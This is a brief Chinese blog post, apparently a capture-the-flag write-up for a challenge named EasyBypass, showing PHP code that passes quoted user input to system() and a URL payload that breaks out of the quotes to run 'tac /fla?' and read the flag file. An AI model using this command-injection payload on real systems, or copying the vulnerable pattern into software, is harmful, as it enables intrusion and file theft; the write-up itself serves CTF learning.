EasyBypass linux命令:tac /fla?;

源码:

$flag = "#flag in /flag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);
?>

payload:?comm1=index.php";tac /fla?;"&comm2

 

$cmd="file index.php";tac /fla?" " " ";

这里tac /fla?两边没有加引号

posted @ 2022-07-14 00:29  Galio  阅读(134)  评论(0编辑  收藏  举报